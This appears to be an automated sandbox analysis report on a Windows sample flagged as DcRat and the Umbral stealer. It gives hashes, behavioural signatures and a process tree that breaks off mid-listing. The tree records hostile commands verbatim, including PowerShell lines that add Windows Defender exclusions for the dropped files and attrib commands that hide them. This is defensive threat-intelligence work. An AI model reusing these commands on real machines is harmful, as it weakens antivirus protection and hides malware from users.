Overview

overview

10

Static

static

3

294003b362...8c.exe

windows7-x64

10

294003b362...8c.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-08-2024 01:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c.exe

  • Size

    3.4MB

  • MD5

    392fcfb7445ce64079d2de971877520e

  • SHA1

    68b4ab6a88385348fb1808286ac3586c15ef73ef

  • SHA256

    294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c

  • SHA512

    87ee7c6b2c6aa96779ab1c9c38e9ebb8f4c589681af31b164c261d84e86eac6e3e7b62beea1c37db912c2d49cbe28c28f1043f69d0b440328b52a482fc520f1c

  • SSDEEP

    98304:h/tCnHVGIBfSIJ7tCHkurtT2zFhuR83VYpBSUKn:JtCHVgG7EttEuR8WpBSUKn

Score
10/10
dcratumbralcredential_accessdiscoveryevasionexecutioninfostealerpersistenceratspywarestealertrojan

Malware Config

Signatures

  • DcRat 64 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Detect Umbral payload 2 IoCs
  • Process spawned unexpected child process 64 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 42 IoCs
    evasiontrojan
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Checks computer location settings 2 TTPs 38 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 37 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 28 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 42 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c.exe
    "C:\Users\Admin\AppData\Local\Temp\294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Users\Admin\AppData\Local\Temp\loader0.exe
      "C:\Users\Admin\AppData\Local\Temp\loader0.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1068
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\reviewCrt\jVfhzQMFI0iTNziih7b.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5020
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\reviewCrt\tYuCM.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\reviewCrt\AgentDriversession.exe
            "C:\reviewCrt\AgentDriversession.exe"
            5⤵
            • DcRat
            • UAC bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:1952
            • C:\reviewCrt\sysmon.exe
              "C:\reviewCrt\sysmon.exe"
              6⤵
              • UAC bypass
              • Checks computer location settings
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              • System policy modification
              PID:4712
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e56443e7-65ee-48ab-87f0-f140945cbec6.vbs"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:4232
                • C:\reviewCrt\sysmon.exe
                  C:\reviewCrt\sysmon.exe
                  8⤵
                  • UAC bypass
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Modifies registry class
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:4036
                  • C:\Windows\System32\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e27a375d-4e69-4f5c-8e5a-001c11abce44.vbs"
                    9⤵
                      PID:980
                      • C:\reviewCrt\sysmon.exe
                        C:\reviewCrt\sysmon.exe
                        10⤵
                        • UAC bypass
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Checks whether UAC is enabled
                        • Modifies registry class
                        • System policy modification
                        PID:1644
                        • C:\Windows\System32\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d3c389b-0789-4f97-901e-355f346bfdbf.vbs"
                          11⤵
                            PID:4172
                            • C:\reviewCrt\sysmon.exe
                              C:\reviewCrt\sysmon.exe
                              12⤵
                              • UAC bypass
                              • Checks computer location settings
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              • Modifies registry class
                              • System policy modification
                              PID:5200
                              • C:\Windows\System32\WScript.exe
                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9e345e7e-8685-436a-8fd1-57edc3094287.vbs"
                                13⤵
                                  PID:5424
                                  • C:\reviewCrt\sysmon.exe
                                    C:\reviewCrt\sysmon.exe
                                    14⤵
                                    • UAC bypass
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Modifies registry class
                                    • System policy modification
                                    PID:6036
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\39f96d9b-75a0-4248-ba0d-f7f59e2d75d9.vbs"
                                      15⤵
                                        PID:4392
                                        • C:\reviewCrt\sysmon.exe
                                          C:\reviewCrt\sysmon.exe
                                          16⤵
                                          • UAC bypass
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Checks whether UAC is enabled
                                          • Modifies registry class
                                          • System policy modification
                                          PID:2240
                                          • C:\Windows\System32\WScript.exe
                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\95c24e48-f1ca-467b-9f11-dbcf02169733.vbs"
                                            17⤵
                                              PID:3184
                                              • C:\reviewCrt\sysmon.exe
                                                C:\reviewCrt\sysmon.exe
                                                18⤵
                                                • UAC bypass
                                                • Checks computer location settings
                                                • Executes dropped EXE
                                                • Checks whether UAC is enabled
                                                • Modifies registry class
                                                • System policy modification
                                                PID:3040
                                                • C:\Windows\System32\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5f2bd0f4-d835-4884-8de1-d3b8d533a386.vbs"
                                                  19⤵
                                                    PID:5836
                                                    • C:\reviewCrt\sysmon.exe
                                                      C:\reviewCrt\sysmon.exe
                                                      20⤵
                                                      • UAC bypass
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • Checks whether UAC is enabled
                                                      • Modifies registry class
                                                      • System policy modification
                                                      PID:5964
                                                      • C:\Windows\System32\WScript.exe
                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6bbbcc54-26aa-47ff-a089-34f6cc7ff2aa.vbs"
                                                        21⤵
                                                          PID:1124
                                                          • C:\reviewCrt\sysmon.exe
                                                            C:\reviewCrt\sysmon.exe
                                                            22⤵
                                                            • UAC bypass
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            • Checks whether UAC is enabled
                                                            • Modifies registry class
                                                            • System policy modification
                                                            PID:4888
                                                            • C:\Windows\System32\WScript.exe
                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5d26c4ab-312e-49fe-bb59-bc4929e679d1.vbs"
                                                              23⤵
                                                                PID:4276
                                                                • C:\reviewCrt\sysmon.exe
                                                                  C:\reviewCrt\sysmon.exe
                                                                  24⤵
                                                                  • UAC bypass
                                                                  • Checks computer location settings
                                                                  • Executes dropped EXE
                                                                  • Checks whether UAC is enabled
                                                                  • Modifies registry class
                                                                  • System policy modification
                                                                  PID:5212
                                                                  • C:\Windows\System32\WScript.exe
                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\da682a14-a98c-4e31-be13-56bd5751eedb.vbs"
                                                                    25⤵
                                                                      PID:3396
                                                                      • C:\reviewCrt\sysmon.exe
                                                                        C:\reviewCrt\sysmon.exe
                                                                        26⤵
                                                                        • UAC bypass
                                                                        • Checks computer location settings
                                                                        • Executes dropped EXE
                                                                        • Checks whether UAC is enabled
                                                                        • Modifies registry class
                                                                        • System policy modification
                                                                        PID:5040
                                                                        • C:\Windows\System32\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\19bbd825-5474-4403-8bbd-7fe6da0a9c2d.vbs"
                                                                          27⤵
                                                                            PID:1672
                                                                            • C:\reviewCrt\sysmon.exe
                                                                              C:\reviewCrt\sysmon.exe
                                                                              28⤵
                                                                              • UAC bypass
                                                                              • Checks computer location settings
                                                                              • Executes dropped EXE
                                                                              • Checks whether UAC is enabled
                                                                              • Modifies registry class
                                                                              • System policy modification
                                                                              PID:1892
                                                                              • C:\Windows\System32\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\289d2378-fecd-43ea-af0d-8851983a9b8d.vbs"
                                                                                29⤵
                                                                                  PID:5580
                                                                                  • C:\reviewCrt\sysmon.exe
                                                                                    C:\reviewCrt\sysmon.exe
                                                                                    30⤵
                                                                                    • UAC bypass
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • Checks whether UAC is enabled
                                                                                    • Modifies registry class
                                                                                    • System policy modification
                                                                                    PID:6120
                                                                                    • C:\Windows\System32\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\25ebd09c-230a-4150-bcba-26eef58bd314.vbs"
                                                                                      31⤵
                                                                                        PID:304
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e1a4b3b5-8613-4112-b731-6a7d7c16c1f5.vbs"
                                                                                        31⤵
                                                                                          PID:1176
                                                                                        • C:\Users\Admin\AppData\Local\Temp\JFOYWR4GGCVCS9X.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\JFOYWR4GGCVCS9X.exe"
                                                                                          31⤵
                                                                                          • Checks computer location settings
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Modifies registry class
                                                                                          PID:2748
                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                            "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                                            32⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2236
                                                                                    • C:\Windows\System32\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2b52cdd1-dbc8-4db9-8b6e-e1576a956f19.vbs"
                                                                                      29⤵
                                                                                        PID:2004
                                                                                      • C:\Users\Admin\AppData\Local\Temp\9NE48L7Y3VRQSO3.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\9NE48L7Y3VRQSO3.exe"
                                                                                        29⤵
                                                                                        • Checks computer location settings
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Modifies registry class
                                                                                        PID:4008
                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                                          30⤵
                                                                                          • Checks computer location settings
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:5780
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                                            31⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:4988
                                                                                            • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                              "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                              32⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1904
                                                                                  • C:\Windows\System32\WScript.exe
                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9a86e08e-5f85-4cb3-938f-1e7e4ca2950d.vbs"
                                                                                    27⤵
                                                                                      PID:5672
                                                                                • C:\Windows\System32\WScript.exe
                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ab980c53-8d7a-40e5-8530-811cea19cb1f.vbs"
                                                                                  25⤵
                                                                                    PID:6084
                                                                                  • C:\Users\Admin\AppData\Local\Temp\K5VBAENJNASYG03.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\K5VBAENJNASYG03.exe"
                                                                                    25⤵
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Modifies registry class
                                                                                    PID:116
                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                                      26⤵
                                                                                      • Checks computer location settings
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2164
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                                        27⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:5048
                                                                                        • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                          "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                          28⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3612
                                                                              • C:\Windows\System32\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f5cee4f9-6b8b-42eb-b4c4-2ff9b2f7b2d2.vbs"
                                                                                23⤵
                                                                                  PID:3372
                                                                                • C:\Users\Admin\AppData\Local\Temp\US9NL5YW43U76VG.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\US9NL5YW43U76VG.exe"
                                                                                  23⤵
                                                                                  • Checks computer location settings
                                                                                  • Executes dropped EXE
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Modifies registry class
                                                                                  PID:3276
                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                    "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                                    24⤵
                                                                                    • Checks computer location settings
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:4336
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                                      25⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:4764
                                                                                      • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                        "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                        26⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4220
                                                                            • C:\Windows\System32\WScript.exe
                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c99d5aa6-ad0f-4acd-924c-e924a4b2162f.vbs"
                                                                              21⤵
                                                                                PID:6052
                                                                          • C:\Windows\System32\WScript.exe
                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f9207e4f-e9e8-4e72-ad0a-984cff3f9434.vbs"
                                                                            19⤵
                                                                              PID:4884
                                                                            • C:\Users\Admin\AppData\Local\Temp\K40IM5U1NGLAVWZ.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\K40IM5U1NGLAVWZ.exe"
                                                                              19⤵
                                                                              • Checks computer location settings
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Modifies registry class
                                                                              PID:6112
                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                                20⤵
                                                                                • Checks computer location settings
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:6084
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                                  21⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:4036
                                                                                  • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                    "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                    22⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:6012
                                                                        • C:\Windows\System32\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8eff8232-a996-48ec-bfbb-3f460a9b869a.vbs"
                                                                          17⤵
                                                                            PID:1224
                                                                          • C:\Users\Admin\AppData\Local\Temp\3UV6PQ7AHH7NZ6Q.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\3UV6PQ7AHH7NZ6Q.exe"
                                                                            17⤵
                                                                            • Checks computer location settings
                                                                            • Executes dropped EXE
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Modifies registry class
                                                                            PID:2676
                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                              "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                              18⤵
                                                                              • Checks computer location settings
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2800
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                                19⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1704
                                                                                • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                  "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                  20⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:5520
                                                                      • C:\Windows\System32\WScript.exe
                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a5879c07-d8d1-4d83-b9d3-fe3c91e53c6b.vbs"
                                                                        15⤵
                                                                          PID:5116
                                                                        • C:\Users\Admin\AppData\Local\Temp\UOFHSEG24YM7EM6.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\UOFHSEG24YM7EM6.exe"
                                                                          15⤵
                                                                          • Checks computer location settings
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Modifies registry class
                                                                          PID:1132
                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                            "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                            16⤵
                                                                            • Checks computer location settings
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:2056
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                              17⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2252
                                                                              • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                                "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                                18⤵
                                                                                • Executes dropped EXE
                                                                                PID:2724
                                                                    • C:\Windows\System32\WScript.exe
                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\638351b6-7dd9-41e1-94f4-0a5f114df4e5.vbs"
                                                                      13⤵
                                                                        PID:5472
                                                                      • C:\Users\Admin\AppData\Local\Temp\BUET7LUGU4N2XAU.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\BUET7LUGU4N2XAU.exe"
                                                                        13⤵
                                                                        • Checks computer location settings
                                                                        • Executes dropped EXE
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Modifies registry class
                                                                        PID:5748
                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                          14⤵
                                                                          • Checks computer location settings
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:5800
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                            15⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:5948
                                                                            • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                              "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                              16⤵
                                                                              • Executes dropped EXE
                                                                              PID:5992
                                                                  • C:\Windows\System32\WScript.exe
                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ebda2bea-e704-49bc-8832-f7bad898658c.vbs"
                                                                    11⤵
                                                                      PID:1156
                                                                    • C:\Users\Admin\AppData\Local\Temp\T1E6NS8VJBOXHZH.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\T1E6NS8VJBOXHZH.exe"
                                                                      11⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Modifies registry class
                                                                      PID:2696
                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                        "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
                                                                        12⤵
                                                                        • Checks computer location settings
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:3960
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
                                                                          13⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:4416
                                                                          • C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
                                                                            "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
                                                                            14⤵
                                                                            • Checks computer location settings
                                                                            • Executes dropped EXE
                                                                            • Drops file in Program Files directory
                                                                            • Modifies registry class
                                                                            PID:1980
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\SearchApp.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:1904
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:4000
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortsurrogateWinhostdhcp\wscript.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:2240
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Common Files\SearchApp.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:1664
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\reviewCrt\dllhost.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:4008
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'
                                                                              15⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:1140
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\cADYztg32c.bat"
                                                                              15⤵
                                                                                PID:1460
                                                                                • C:\Windows\system32\chcp.com
                                                                                  chcp 65001
                                                                                  16⤵
                                                                                    PID:2792
                                                                                  • C:\Windows\system32\PING.EXE
                                                                                    ping -n 10 localhost
                                                                                    16⤵
                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                    • Runs ping.exe
                                                                                    PID:3228
                                                                                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe
                                                                                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe"
                                                                                    16⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5636
                                                                    • C:\Windows\System32\WScript.exe
                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b2cc7290-58cb-47d7-9155-7a63ce3fbe46.vbs"
                                                                      9⤵
                                                                        PID:4512
                                                                  • C:\Windows\System32\WScript.exe
                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a5af3988-6cad-4dce-a85b-834ebea1a93c.vbs"
                                                                    7⤵
                                                                      PID:2764
                                                            • C:\Windows\SysWOW64\WScript.exe
                                                              "C:\Windows\System32\WScript.exe" "C:\reviewCrt\file.vbs"
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1016
                                                          • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                            2⤵
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:968
                                                            • C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
                                                              3⤵
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              • Adds Run key to start application
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:1900
                                                              • C:\Windows\System32\attrib.exe
                                                                "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
                                                                4⤵
                                                                • Sets file to hidden
                                                                • Views/modifies file attributes
                                                                PID:4504
                                                              • C:\Windows\System32\attrib.exe
                                                                "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
                                                                4⤵
                                                                • Sets file to hidden
                                                                • Views/modifies file attributes
                                                                PID:2524
                                                              • C:\Windows\system32\cmd.exe
